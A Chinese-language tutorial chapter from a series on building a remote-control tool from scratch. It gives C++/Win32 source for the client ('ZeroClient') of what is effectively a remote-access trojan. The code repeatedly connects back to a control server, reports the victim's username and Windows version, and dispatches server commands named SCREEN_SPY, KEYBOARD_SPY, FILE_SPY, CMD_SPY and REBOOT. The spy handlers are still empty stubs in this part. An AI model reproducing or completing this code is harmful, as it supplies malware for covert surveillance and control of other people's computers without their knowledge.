如果你从没看过这系列教程请点击:从零开始做远控 简介篇
本来想用VC开发客户端的的,但为了不混乱,我们还是选了Qt,但我们不会用Qt库(因为Qt库当你完成了你的远控后你要绑定一大堆库才能在客户的电脑上开启),只会用到Win32 API。
我们讲客户端项目命名为ZeroClient
1.首先打开你的Qt->新建项目或文件->其他项目->Empty qmake Project
2.在.pro里添加LIBS += -lws2_32,因为我们要使用Win32 socket来做网络通讯
3.新增加一个main.cpp做程序入口,下面我就放代码了
main.cpp
#include <winsock2.h>
#include <windows.h>
#include <iostream>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// 檢查窗口是否有重複;
char szFile[MAX_PATH],*szPt;
GetModuleFileNameA(NULL,szFile,sizeof(szFile));
szPt = szFile + strlen(szFile);
while(*--szPt != '\\') ;
CreateMutexA(NULL,FALSE,szPt + 1);
if(GetLastError() == ERROR_ALREADY_EXISTS) {
std::cout << "已经有相同程序开启" << std::endl;
return -1;
}
// 初始化Windows socket功能,要在Windows使用网络必须初始化这个
WSAData wsaData;
if (WSAStartup(MAKEWORD(2,1), &wsaData)) {
std::cout << "初始化WSA失败\n" << std::endl;
return -1;
}
// 主循环,下面会讲
while (1) {
//
//
Sleep(1000);
}
// 程序完结后释放WSA
WSACleanup();
return 0;
}
TcpSocket类:
和上一节一样,我们为了方便让多个类调用socket,我们要弄个TcpSocket的接口,主要有:连接,断开,发送,接受这几个功能
1.我们先新建一个TcpSocket类
2.这里有个比较特别的函数叫做fromDomainToIP(),就是解析域名,得到服务器的IP地址
std::string TcpSocket::fromDomainToIP(std::string domain)
{
// 获取主机信息
struct hostent *ht = gethostbyname(domain.data());
if(!ht) {
std::cout << "Failed to get host" << std::endl;
std::fflush(stdout);
return std::string();
}
// 分解IPV4地址
std::string ip;
for(int i = 0;i < ht->h_length;i ++) {
char szTmp[10];
std::sprintf(szTmp, "%d.",(unsigned char)ht->h_addr_list[0][i]);
ip.append(szTmp);
}
ip.pop_back();
return ip;
}
TcpSocket.h
/*
*
* Author: sumkee911@gmail.com
* Date: 20-12-2016
* Brief: Socket通讯接口
*
*/
#ifndef TCPSOCKET_H
#define TCPSOCKET_H
#include <winsock2.h>
#include <iostream>
#include <string>
#include <cstdio>
class TcpSocket
{
public:
TcpSocket();
// 域名转IP
static std::string fromDomainToIP(std::string domain);
// 连接,断开,发送,接收
bool connectTo(std::string domain, int port);
void dissconnect();
bool sendData(const char *data, int size);
int recvData(char *data, int size);
// 判断是否处于连接的状态
bool isConnected() {
return (int)mSock != SOCKET_ERROR;
}
private:
SOCKET mSock; // socket
struct sockaddr_in mAddr; // 服务器地址
std::string mIp; // ip
int mPort; // 端口
};
#endif // TCPSOCKET_H
TcpSocket.cpp
#include "tcpsocket.h"
TcpSocket::TcpSocket() : mSock(SOCKET_ERROR)
{
}
std::string TcpSocket::fromDomainToIP(std::string domain)
{
// 获取主机信息
struct hostent *ht = gethostbyname(domain.data());
if(!ht) {
std::cout << "Failed to get host" << std::endl;
std::fflush(stdout);
return std::string();
}
// 分解IPV4地址
std::string ip;
for(int i = 0;i < ht->h_length;i ++) {
char szTmp[10];
std::sprintf(szTmp, "%d.",(unsigned char)ht->h_addr_list[0][i]);
ip.append(szTmp);
}
ip.pop_back();
return ip;
}
bool TcpSocket::connectTo(std::string domain, int port)
{
if ((int)mSock != SOCKET_ERROR) {
std::cout << "Socket is using" << std::endl;\
std::fflush(stdout);;
return false;
}
mPort = port;
// 把域名转换成ip
mIp = fromDomainToIP(domain);
// 创建socket
if ((int)(mSock = socket(AF_INET,SOCK_STREAM,0)) == SOCKET_ERROR) {
std::cout << "Failed to create socket " << std::endl;
std::fflush(stdout);
return false;
}
mAddr.sin_family = AF_INET;
mAddr.sin_addr.S_un.S_addr = inet_addr(mIp.data());
mAddr.sin_port = htons(mPort);
// 连接至服务端
if (connect(mSock, (SOCKADDR *)&mAddr, sizeof(mAddr)) == SOCKET_ERROR) {
std::cout << "Failed to connect to " << mIp << std::endl;
std::fflush(stdout);
dissconnect();
return false;
}
std::cout << "Connect to success " << mIp << std::endl;
std::fflush(stdout);;
return true;
}
void TcpSocket::dissconnect()
{
if ((int)mSock != SOCKET_ERROR) {
closesocket(mSock);
mSock = SOCKET_ERROR;
std::cout << "Closed socket from " << mIp << std::endl;
std::fflush(stdout);;
}
}
bool TcpSocket::sendData(const char *data, int size)
{
if ((int)mSock == SOCKET_ERROR) {
std::cout << "Socket do not allowed to send data without connected " << std::endl;
std::fflush(stdout);;
return false;
}
int ret = send(mSock, data, size, 0);
// 出现错误,断开连接
if (ret == SOCKET_ERROR) {
std::cout << "Failed to send data to " << mIp << std::endl;
std::fflush(stdout);;
dissconnect();
}
return ret != SOCKET_ERROR ? true : false;
}
int TcpSocket::recvData(char *data, int size)
{
if ((int)mSock == SOCKET_ERROR) {
std::cout << "Socket do not allowed to reveive data without connected " << std::endl;
std::fflush(stdout);;
return -1;
}
int ret = recv(mSock, data, size, 0);
// 出现错误,断开连接
if (ret == SOCKET_ERROR || ret == 0) {
std::cout << "Failed to receive data from " << mIp << std::endl;
std::fflush(stdout);;
dissconnect();
}
return ret;
}
ZeroClient类:
这个类是这个ZeroClient程序最主要的类,不断死循环,接收从服务端传过来的命令,比如:屏幕监控,键盘监控等等
1.首先创建一个ZeroClient类,然后把TcpSocket类include进来
2.把上一节定义的通讯协议复制到ZeroClient类的公有变量里
// 服务端向客户端发送的指令(你觉得有需要你也可以增加自己的指令)
const std::string CmdScreenSpy = "SCREEN_SPY";
const std::string CmdKeyboardSpy = "KEYBOARD_SPY";
const std::string CmdFileSpy = "FILE_SPY";
const std::string CmdCmdSpy = "CMD_SPY";
const std::string CmdSendMessage = "SEND_MESSAGE";
const std::string CmdReboot = "REBOOT";
const std::string CmdQuit = "QUIT";
// 客户端向服务端发送的指令(你觉得有需要你也可以增加自己的指令)
const std::string CmdLogin = "LOGIN";
// 分割符号和结束符号,比如登入命令:LOGIN<分割符>SYSTEM<分割符>Windows 7<分割符>USER_NAME<分割符>sumkee911<结束符号>
const std::string CmdSplit = ";";
const std::string CmdEnd = "\r\n";
ZeroClient.h
/*
*
* Author: sumkee911@gmail.com
* Date: 20-12-2016
* Brief: 负责接收处理从ZeroServer服务端发过来的数据
*
*/
#ifndef ZEROCLIENT_H
#define ZEROCLIENT_H
#include "tcpsocket.h"
#include <iostream>
#include <string>
#include <map>
class ZeroClient
{
public:
ZeroClient();
HINSTANCE hInst; // 本应用程序的实例句柄
// 服务端向客户端发送的指令(你觉得有需要你也可以增加自己的指令)
const std::string CmdScreenSpy = "SCREEN_SPY";
const std::string CmdKeyboardSpy = "KEYBOARD_SPY";
const std::string CmdFileSpy = "FILE_SPY";
const std::string CmdCmdSpy = "CMD_SPY";
const std::string CmdSendMessage = "SEND_MESSAGE";
const std::string CmdReboot = "REBOOT";
const std::string CmdQuit = "QUIT";
// 客户端向服务端发送的指令(你觉得有需要你也可以增加自己的指令)
const std::string CmdLogin = "LOGIN";
// 分割符号和结束符号,比如登入命令:LOGIN<分割符>SYSTEM<分割符>Windows 7<分割符>USER_NAME<分割符>sumkee911<结束符号>
const std::string CmdSplit = ";";
const std::string CmdEnd = "\r\n";
// 连接至服务端
void connectTo(std::string domain, int port);
private:
TcpSocket mSock; // 与服务端连接的socket
std::string mBuf; // 数据缓冲区
// 获取本机用户名和系统型号
std::string getUserName();
std::string getSystemModel();
// 发送命令
bool sendLogin();
// 数据处理函数
void addDataToBuffer(char *data, int size);
void processCmd(std::string &cmd, std::string &data);
std::map<std::string, std::string> parseArgs(std::string &data);
// 相应于各个指令的处理函数
void doScreenSpy(std::map<std::string, std::string> &args);
void doKeyboardSpy(std::map<std::string, std::string> &args);
void doFileSpy(std::map<std::string, std::string> &args);
void doCmdSpy(std::map<std::string, std::string> &args);
void doSendMessage(std::map<std::string, std::string> &args);
void doReboot(std::map<std::string, std::string> &args);
void doQuit(std::map<std::string, std::string> &args);
};
#endif // ZEROCLIENT_H
ZeroClient.cpp
#include "zeroclient.h"
ZeroClient::ZeroClient()
{
}
void ZeroClient::connectTo(std::string domain, int port)
{
// 连接到服务端
if (!mSock.connectTo(domain, port)) {
return;
}
// 发送登入命令
if (!sendLogin()) {
return;
}
// 死循环,不断从服务端接收数据
const int packetSize = 800;
char szData[packetSize];
int ret;
while (1) {
ret = mSock.recvData(szData, packetSize);
// 出现错误
if (ret == SOCKET_ERROR || ret == 0) {
// 清空缓冲区
mBuf.clear();
break;
}
// 把数据加入到缓冲区
addDataToBuffer(szData, ret);
std::cout << "data receive" << ret << std::endl;
}
}
std::string ZeroClient::getUserName()
{
char szUser[MAX_PATH];
int size = MAX_PATH;
GetUserNameA(szUser, (DWORD*)&size);
return std::string(szUser);
}
std::string ZeroClient::getSystemModel()
{
SYSTEM_INFO info; //用SYSTEM_INFO结构判断64位AMD处理器
GetSystemInfo(&info); //调用GetSystemInfo函数填充结构
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
std::string osname = "unknown OperatingSystem.";
if(GetVersionEx((OSVERSIONINFO *)&os))
{
//下面根据版本信息判断操作系统名称
switch(os.dwMajorVersion)//判断主版本号
{
case 4:
switch(os.dwMinorVersion)//判断次版本号
{
case 0:
if(os.dwPlatformId==VER_PLATFORM_WIN32_NT)
osname = "Microsoft Windows NT 4.0"; //1996年7月发布
else if(os.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
osname = "Microsoft Windows 95";
break;
case 10:
osname = "Microsoft Windows 98";
break;
case 90:
osname = "Microsoft Windows Me";
break;
}
break;
case 5:
switch(os.dwMinorVersion) //再比较dwMinorVersion的值
{
case 0:
osname = "Microsoft Windows 2000";//1999年12月发布
break;
case 1:
osname = "Microsoft Windows XP";//2001年8月发布
break;
case 2:
if(os.wProductType==VER_NT_WORKSTATION
&& info.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64)
{
osname = "Microsoft Windows XP Professional x64 Edition";
}
else if(GetSystemMetrics(SM_SERVERR2)==0)
osname = "Microsoft Windows Server 2003";//2003年3月发布
else if(GetSystemMetrics(SM_SERVERR2)!=0)
osname = "Microsoft Windows Server 2003 R2";
break;
}
break;
case 6:
switch(os.dwMinorVersion)
{
case 0:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows Vista";
else
osname = "Microsoft Windows Server 2008";//服务器版本
break;
case 1:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows 7";
else
osname = "Microsoft Windows Server 2008 R2";
break;
case 2:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows 8";
else
osname = "Microsoft Windows Server 2012";
break;
case 3:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows 8.1";
else
osname = "Microsoft Windows Server 2012 R2";
break;
}
break;
case 10:
switch(os.dwMinorVersion)
{
case 0:
if(os.wProductType == VER_NT_WORKSTATION)
osname = "Microsoft Windows 10";
else
osname = "Microsoft Windows Server 2016 Technical Preview";//服务器版本
break;
}
break;
}
}
return osname;
}
bool ZeroClient::sendLogin()
{
// 写好登入信息,然后发送给服务端
std::string data;
data.append(CmdLogin+CmdSplit);
data.append("SYSTEM"+CmdSplit+getSystemModel()+CmdSplit);
data.append("USER_NAME"+CmdSplit+getUserName());
data.append(CmdEnd);
mSock.sendData(data.data(), data.size());
}
void ZeroClient::addDataToBuffer(char *data, int size)
{
mBuf.append(data,size);
// 把数据转换成指令模式
int endIndex;
while ((endIndex = mBuf.find(CmdEnd)) >= 0) {
std::string line = mBuf.substr(0,endIndex);
mBuf.erase(0, endIndex+CmdEnd.length());
// 获取指令
int firstSplit = line.find(CmdSplit);
std::string cmd = line.substr(0, firstSplit);
line.erase(0, firstSplit+CmdSplit.length());
// 处理指令
processCmd(cmd, line);
}
}
void ZeroClient::processCmd(std::string &cmd, std::string &data)
{
std::map<std::string, std::string> args = parseArgs(data);
std::cout << cmd << " " << data << std::endl;
// 消息框命令
if (cmd == CmdSendMessage) {
doSendMessage(args);
return;
}
// 重新开机命令
if (cmd == CmdReboot) {
doReboot(args);
return;
}
// 退出本程序命令
if (cmd == CmdQuit) {
doQuit(args);
return;
}
// 屏幕监控命令
if (cmd == CmdScreenSpy) {
doScreenSpy(args);
return;
}
// 键盘监控命令
if (cmd == CmdKeyboardSpy) {
doKeyboardSpy(args);
return;
}
// 文件监控命令
if (cmd == CmdFileSpy) {
doFileSpy(args);
return;
}
// 命令行控制
if (cmd == CmdCmdSpy) {
doCmdSpy(args);
return;
}
}
std::map<std::string, std::string> ZeroClient::parseArgs(std::string &data)
{
}
void ZeroClient::doScreenSpy(std::map<std::string, std::string> &)
{
}
void ZeroClient::doKeyboardSpy(std::map<std::string, std::string> &)
{
}
void ZeroClient::doFileSpy(std::map<std::string, std::string> &)
{
}
void ZeroClient::doCmdSpy(std::map<std::string, std::string> &)
{
}
void ZeroClient::doSendMessage(std::map<std::string, std::string> &)
{
}
void ZeroClient::doReboot(std::map<std::string, std::string> &)
{
}
void ZeroClient::doQuit(std::map<std::string, std::string> &)
{
}
3.现在可以在main.cpp得主循环添加ZeroClient了
// 主循环
ZeroClient client;
client.hInst = hInstance;
while (1) {
// 如果断开了,隔一秒自动连接
client.connectTo("127.0.0.1", 18000);
Sleep(1000);
}
4.最后ZeroClient首先实现了登入功能,能登入到ZeroServer了。下一节在写3个比较简单的控制命令:发送消息框,重启电脑,退出程序。ZeroServer在下一节开始就能真正的控制客户了。
本节完整代码:
ZeroServer项目的修改事项:1.Widget做了些小修改,加了些控件,你自己复制一下
2.ZeroServer加了个公有函数 TcpServer *server() { return mServer; }
3.ZeroServer的stop函数修改了
void ZeroServer::stop()
{
mServer->stop();
// 清除所有客户
QHash<int , ZeroClient*> clients = mClients;
foreach(int id, clients.keys()) {
clients[id]->closeAndDelete();
}
mClients.clear();
}
下载本节完整代码